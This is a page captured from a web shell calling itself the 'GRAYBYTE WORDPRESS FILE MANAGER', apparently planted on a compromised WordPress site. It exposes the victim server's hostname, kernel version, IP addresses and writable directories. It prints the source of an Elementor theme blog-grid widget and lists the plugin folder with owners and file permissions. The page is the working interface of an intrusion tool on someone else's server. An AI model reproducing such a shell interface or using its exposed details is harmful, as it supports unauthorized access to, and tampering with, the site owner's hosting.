✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.105
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/elementor-selio/widgets//blog-grid.php
<?php
namespace ElementorSelio\Widgets;

use Elementor\Widget_Base;
use Elementor\Controls_Manager;
use Elementor\Utils;
use Elementor\Editor;
use Elementor\Plugin;
use Top_Nav_Menu_Walker;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

/**
 * @since 1.1.0
 */
class Blog_Grid extends Widget_Base {

	public static $multiple_instance=false;
	
	// Default widget settings
	private $defaults = array(
		array(
			'columns_in_grid' => '4',
			'limit_per_page' => '6',
                        'zebra_enable' => '',
			'elementor_custom_padding_enable' => '',
		),
	);

	private $items_num = 1;

	/**
	 * Retrieve the widget name.
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 *
	 * @return string Widget name.
	 */
	public function get_name() {
		return substr(str_replace('_', '-', strtolower(get_class($this))), strrpos(get_class($this), '\\')+1);
	}

	/**
	 * Retrieve the widget title.
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 *
	 * @return string Widget title.
	 */
	public function get_title() {
		return __( 'Blog Grid', 'selio-blocks' );
	}

	/**
	 * Retrieve the widget icon.
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 *
	 * @return string Widget icon.
	 */
	public function get_icon() {
		return 'eicon-posts-grid';
	}

	/**
	 * Retrieve the list of categories the widget belongs to.
	 *
	 * Used to determine where to display the widget in the editor.
	 *
	 * Note that currently Elementor supports only one category.
	 * When multiple categories passed, Elementor uses the first one.
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 *
	 * @return array Widget categories.
	 */
	public function get_categories() {
		return [ 'winter-themes' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * Adds different input fields to allow the user to change and customize the widget settings.
	 *
	 * @since 1.1.0
	 *
	 * @access protected
	 */
	protected function register_controls() {


		if(!isset($this->defaults[0]))return;

		$this->start_controls_section(
			'section_elements',
			[
				'label' => __( 'Block elements', 'selio-blocks' ),
			]
		);

		for($i=0;$i<$this->items_num;$i++)
		{

			$item_elements = $this->defaults[0];

			if(isset($this->defaults[$i]))
			{
				$item_elements = $this->defaults[$i];
			}

			foreach($item_elements as $key=>$val)
			{

				$gen_item = 'item_'.($i+1).'_'.$key;

				$gen_label = ucwords(str_replace('_', ' ', $key));

				if(substr_count($key, 'service') > 0)
				{
					$gen_label = $i.'. '.ucwords(str_replace('_', ' ', $key));
				}

				if(substr_count($key, 'link') > 0)
				{
					$this->add_control(
						$gen_item,
						[
							'label' => $gen_label,
							'type' => Controls_Manager::TEXT,
							'default' => $val,
						]
					);
				}
				elseif(substr_count($key, 'enable') > 0)
					{
					$this->add_control(
						$gen_item,
						[
							'label' => $gen_label,
							'type' => Controls_Manager::SWITCHER,
							'options' => [
								'yes' => __( 'Yes', 'selio-blocks' ),
								'no' => __( 'No', 'selio-blocks' ),
							],
							'default' => $val,
						]
					);
				}
				elseif(substr_count($key, 'columns') > 0)
				{
					$this->add_control(
						$gen_item,
						[
							'label' => $gen_label,
							'type' => Controls_Manager::SELECT,
							'options' => [
								'3' => '4',
								'4' => '3',
								'6' => '2'
							],
							'default' => $val,
						]
					);
				}
				elseif(substr_count($key, 'image') > 0)
				{
					$this->add_control(
						$gen_item,
						[
							'label' => $gen_label,
							'type' => Controls_Manager::MEDIA,
							'default' => [
								'url' => Utils::get_placeholder_image_src(),
							]
						]
					);
				}
				elseif(substr_count($key, 'description') > 0)
				{
					$this->add_control(
						$gen_item,
						[
							'label' => $gen_label,
							'type' => Controls_Manager::TEXT,
							'default' => $val,
						]
					);
				}
				else
				{
					$this->add_control(
						$gen_item,
						[
							'label' => $gen_label,
							'type' => Controls_Manager::TEXT,
							'default' => $val,
						]
					);
				}
			}
		}

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.1.0
	 *
	 * @access protected
	 */
	protected function render() {
        $settings = $this->get_settings();
		
		/*
		if(self::$multiple_instance === true)
		{
			echo '<div class="alert alert-info" role="alert" style="margin-top:20px;">'
				.__('Multiple instance not allowed for: ','selio-blocks').' '.$this->get_title()
				.'</div>';
				
			return;
        }
		*/

		for($i=0;$i<$this->items_num;$i++)
		{

			$item_elements = $this->defaults[0];

			if(isset($this->defaults[$i]))
			{
				$item_elements = $this->defaults[$i];
			}

			foreach($item_elements as $key=>$val)
			{

				$gen_item = 'item_'.($i+1).'_'.$key;

                if(substr_count($gen_item, 'title') > 0 ||
                   substr_count($gen_item, 'address') > 0 ||
                   substr_count($gen_item, 'number') > 0 )
				{

					$this->add_inline_editing_attributes( $gen_item, 'basic' );
					$this->add_render_attribute( $gen_item, [
						'class' => ''
					] );
				}
				elseif(substr_count($gen_item, 'description') > 0)
				{
					$this->add_inline_editing_attributes( $gen_item, 'basic' );
					$this->add_render_attribute( $gen_item, [
						'class' => ''
					] );
                }
				else
				{

				}

			}
		}

		?>
<h2 class="vis-hid"><?php echo esc_html__('Blog grid elementor','selio-blocks');?></h2>
<section class="blog-grid section-padding section-popular-listings  <?php if($settings['item_1_zebra_enable']=='yes'):?> zebra-section<?php endif;?> <?php if($settings['item_1_elementor_custom_padding_enable']=='yes'):?> no-padding<?php endif;?>">
	<div class="container">
		<div class="blog-grid-posts">
			<div class="row">
			<?php
						global $paged;

						$allposts = array( 
							'post_type'           =>  'post',
							'posts_per_page'      =>  $settings['item_1_limit_per_page'],
							'post_status'		  => 'publish',	
							'ignore_sticky_posts' => true,
							'paged'			      => $paged
						);

                		$wp_query = new \WP_Query($allposts); //$wp_query->query($allposts);
                		while ($wp_query->have_posts()) : $wp_query->the_post(); ?>

				<div class="col-lg-<?php echo $settings['item_1_columns_in_grid']; ?> col-md-6 col-sm-6 col-12" id="post-grid-<?php the_ID(); ?>">
					<div class="blog-single-post">
						<div class="blog-img">
							<a href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title(); ?>">
							<?php if ( '' !== get_the_post_thumbnail() ) : ?>
								<img src="<?php echo get_the_post_thumbnail_url(null, 'selio-555x442'); ?>" alt="<?php the_title(); ?>">
							<?php else: ?>
								<img src="<?php echo SELIO_THEMEROOT; ?>/assets/images/no-photo.png" alt="<?php the_title(); ?>">
							<?php endif; ?>
							</a>
							<div class="view-post">
								<a href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title(); ?>" class="view-posts"><?php echo esc_html__('View Post','selio-blocks');?></a>
							</div>
						</div><!--blog-img end-->
						<div class="post_info">
							<ul class="post-nfo">
								<li><i class="la la-calendar"></i><?php echo get_the_date() ?></li>
							</ul>
							<?php the_title( '<h3><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h3>' ); ?>
							<p>
                                                            <?php
                                                            $content = get_the_excerpt();
                                                            $content = strip_tags(strip_shortcodes($content));
                                                            esc_viewe(wp_strip_all_tags(html_entity_decode(wp_trim_words(htmlentities(wpautop($content)), 14, '...'))));
                                                            ?>
                                                        </p>
							<a href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title(); ?>">Read More <i class="la la-long-arrow-right"></i></a>
						</div>
						<a href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title(); ?>" class="ext-link"></a>
					</div><!--blog-single-post end--> 
				</div>

				<?php endwhile; ?>

				<div class="col-lg-12">
					<div class="load-more-posts-grid">
					<nav class="navigation pagination" role="navigation">
						<div class="nav-links">
						<?php
							echo paginate_links( array(
									'base'         => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),
									'total'        => $wp_query->max_num_pages,
									'current'      => max( 1, get_query_var( 'paged' ) ),
									'format'       => '?paged=%#%',
									) );
						?>
						</div>
					</nav>
					</div><!--load-more-posts end-->
				</div>
			</div>
		</div><!--blog-grid-posts end-->
	</div>
</section><!--blog-single-sec end-->

<?php wp_reset_postdata(); ?>

	<?php if(Plugin::$instance->editor->is_edit_mode()): ?>
	
	<script>	
	
	</script>
	
	<?php endif; ?>
	<?php
	
		self::$multiple_instance = true;
	}

}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.38 AM
tdhomesa / tdhomesa
0755
about-features.php
23.691 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
agents.php
20.381 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
blog-grid.php
9.356 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
carousel-purposes.php
24.622 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
categories-listings.php
7.597 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
categories-presentation.php
10.026 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
clients-say.php
11.321 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
contact-featured.php
28.683 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
contact-section.php
17.065 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
header-search.php
22.835 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
header-slider-listing.php
13.477 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
header-static.php
6.906 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
header-title.php
7.849 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
latest-posts.php
9.082 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
map-full-width.php
28.66 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
map-svg-area.php
40.32 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
map-svg.php
38.443 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
navigation-over-image.php
38.217 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
partners-agencies.php
9.411 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
placeholder-footer.php
7.348 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
popular-cities.php
25.512 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
popular-listings.php
28.91 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
post-slider.php
9.744 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
pricing-packages.php
9.74 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
result-listings.php
5.813 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
section-subscriptions.php
9.603 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
services-you-need.php
23.69 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
single-apartment.php
15.194 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
slogan.php
8.02 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
top-bar.php
11.326 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
top-navigation-white.php
12.387 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
video-feature.php
8.556 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644
wide-search.php
14.575 KB
30 Apr 2025 12.44 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF